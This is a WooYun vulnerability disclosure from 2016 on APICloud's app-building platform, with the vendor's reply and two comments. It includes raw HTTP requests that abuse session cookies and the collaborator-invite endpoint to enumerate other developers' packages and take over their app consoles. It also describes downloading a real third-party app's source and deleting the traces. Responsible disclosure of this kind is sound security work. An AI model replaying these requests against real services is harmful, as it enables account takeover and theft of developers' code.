当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0184810

漏洞标题:apicloud移动app开发平台可获取任意app明文源代码(附上次修复不彻底的权限问题)

相关厂商:apicloud.com

漏洞作者: 有米无锅

提交时间:2016-03-15 09:54

修复时间:2016-05-03 23:50

公开时间:2016-05-03 23:50

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-03-15: 细节已通知厂商并且等待厂商处理中
2016-03-19: 厂商已经确认,细节仅向厂商公开
2016-03-29: 细节向核心白帽子及相关领域专家公开
2016-04-08: 细节向普通白帽子公开
2016-04-18: 细节向实习白帽子公开
2016-05-03: 细节向公众公开

简要描述:

APICloud 柚子(北京)科技有限公司是中国领先的“云端一体”移动应用云服务提供商。APICloud重新定义了移动应用开发。简化移动应用开发技术;
用javascript就能开发原生应用,一套代码,同时编译出Android与ios两个原生app。让移动应用的开发周期从一个月缩短到7天。
rt,apicloud移动app开发平台可获取任意 app 明文源代码(附上次修复不彻底的权限问题)
本想用战旗tv(www.zhanqi.tv)的app做演示的,看了百度,这个游戏直播平台,吓得我鼠标都拿不稳了

详细说明:

上次说,这次本该提客户端的解密鸡肋的了,发现官网平台还有一些致命的bug,
上次提交的这个 WooYun: apicloud多个设计缺陷漏洞打包
发现依然存在问题,上次说的任意app枚举
后来修复了cookies验证
所以这次直接携带一个connect.sid,试试,

漏洞证明:

start....
突然想起大一那年,跟那几个基佬在开发php的时候掉进过一个坑,验证了cookies,但是没有对cookies所有者的身份验证,
于是试试,果然

POST /getPKGState HTTP/1.1
Host: www.apicloud.com
Content-Length: 22
Accept: */*
Origin: http://www.apicloud.com
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Referer: http://www.apicloud.com/package
Accept-Encoding: gzip, deflate
Cookie: connect.sid=【任意账号登录后的connect.sid cookies信息】
Accept-Language: zh-CN,zh;q=0.8
Connection: close
pkgId=86545&platform=1


返回

{
"status": 1,
"msg": "成功",
"body": {
"status": 1,
"apkUrl": "http://downloadpkg.apicloud.com/app/download?path=http://7xmrdv.com1.z0.glb.clouddn.com/621edc614e4654b83360073f86352ea6.apk",
"ipaUrl": "",
"wgtUrl": "http://7xmrdv.com1.z0.glb.clouddn.com/8d356bc709c5501e1fe000c28bed1310.zip",
"plistUrl": null,
"createDate": "2015-04-01T06:40:16.000Z",
"ver": "0.0.60",
"type": 0,
"userName": "kangta1124",
"id": "86545",
"verCode": 60,
"icon": "/image/png/10/fa/10fa09b7b8a75797d85dccf66243c56c.png",
"upkToken": null,
"ipaSize": null,
"apkSize": "10391873",
"wgtSize": "7314815",
"androidLog": "http://www.apicloud.com/zip/4a/8e/4a8e32696f39415618edbbb06c12c244.log",
"iosLog": null,
"bangcleState": -1,
"apkChannelPath": null,
"index": -1
},
"code": 301
}


"wgtUrl": "http://7xmrdv.com1.z0.glb.clouddn.com/8d356bc709c5501e1fe000c28bed1310.zip",
这个依然是泄露config.xml配置的地方
就不上图了,随便枚举下载了几个,有些是不加密app的源码,有些是加密的却含有明文config.xml,还有一个是别人百度地图测试的非公开发布的软件,key却泄露了
------------------------------------
【获取任意APP明文源代码(此漏洞危害非常大)100%获取成功,且控制整个app后台功能】
这次就不以战旗为例了,上次的漏洞中,发现战旗app编译了一千多次,想想都捏了把冷汗,攻城狮辛苦了[跪拜][跪拜]。
战旗tv这样的大平台,万一出意外,不敢想
找到官网里面的案例:
http://www.apicloud.com/cases
偶偶足球为例:安装包下载地址http://a.app.qq.com/o/simple.jsp?pkgname=com.ouou.ououbbs
包名id:A6962696696314
任意aapicloud的app包名获取方法很简单,上次的漏洞里面说过了,抓包(X-APICloud-AppId),或者反编译{Properties.smali里面}

准备两个apicloud账号:
以下称:主谋账号A,助手账号B
1.我们可以将自己的代码控制权可以给别人
2.如果邮箱填写自己,appIds填写别人,就会发现不能邀请自己
于是,估计这里就有问题。不能邀请自己,那找一个第三者的账号邮箱,让他判断不是自己邀请自己,于是果然有问题


POST /api2/cooperator HTTP/1.1
Host: www.apicloud.com
Content-Length: 51
Accept: */*
Origin: http://www.apicloud.com
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Referer: http://www.apicloud.com/member
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: connect.sid={主谋账号A的cookies的connect.sid}
Connection: close
email={助手账号B的邮箱}&appIds=A6962696696314


返回操作成功
{
"status": 1
}


然后主谋账号A的协助控制面板就会出现协助成员助手B,助手账号B的console后台就会出现 偶偶足球的app的控制台

QQ截图20160315032617.png


进去,然后整个app的权限都控制了

QQ截图20160315032739.png

QQ截图20160315032803.png

QQ截图20160315032825.png


然后云编译一个,选择不加密,

QQ截图20160315032858.png


下载打好的包,然后删掉编译记录
然后回到主谋账号A的console控制台-》协助,删除协助成员,然后对方的appoverview面板就看不到管理记录了


------------------------------------------------------
下载地址这里:
【乌妈妈帮我mask一下后面的数字,顺便mask前面的子域名保护我O(∩_∩)O~】

http://7xnqiu.dl1.z0.glb.clouddn.com/ououSourceCode_58755656565622121454514.apk


Aapicloud攻城狮修复好了,我也会删掉
代码包删除记录了,官方下载地址就没了,只能这样
直接看到app明文源代码

QQ截图20160315033114.png


QQ截图20160315033144.png


QQ截图20160315033209.png


QQ截图20160315033231.png


比上次的那些危害大多了,100%获取到任意app的源代码,而且还能控制操作整个控制台对app进行操作,然后就这样了
想想都怕,回去看看自己控制台上开发的app,叹口气,请求上天保佑我的app不被蹂躏

V@C6_QOK`D(DO]9SNH2{AZ2.jpg


修复方案:

请多指教~攻城狮们,辛苦了

版权声明:转载请注明来源 有米无锅@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:3

确认时间:2016-03-19 23:50

厂商回复:

感谢您对APICloud平台安全的关注,此漏洞发生的前提是权限验证失效,此问题已由其它渠道测试获得,我们已统一进行了处理。谢谢!

最新状态:

暂无


漏洞评价:

评价

  1. 2016-03-15 11:44 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    云安全一个很不错的设计失误案例

  2. 2016-03-15 16:11 | 有米无锅 ( 路人 | Rank:9 漏洞数:2 | 人)

    @疯狗 这个签名牛,我要盗你的签名O(∩_∩)O~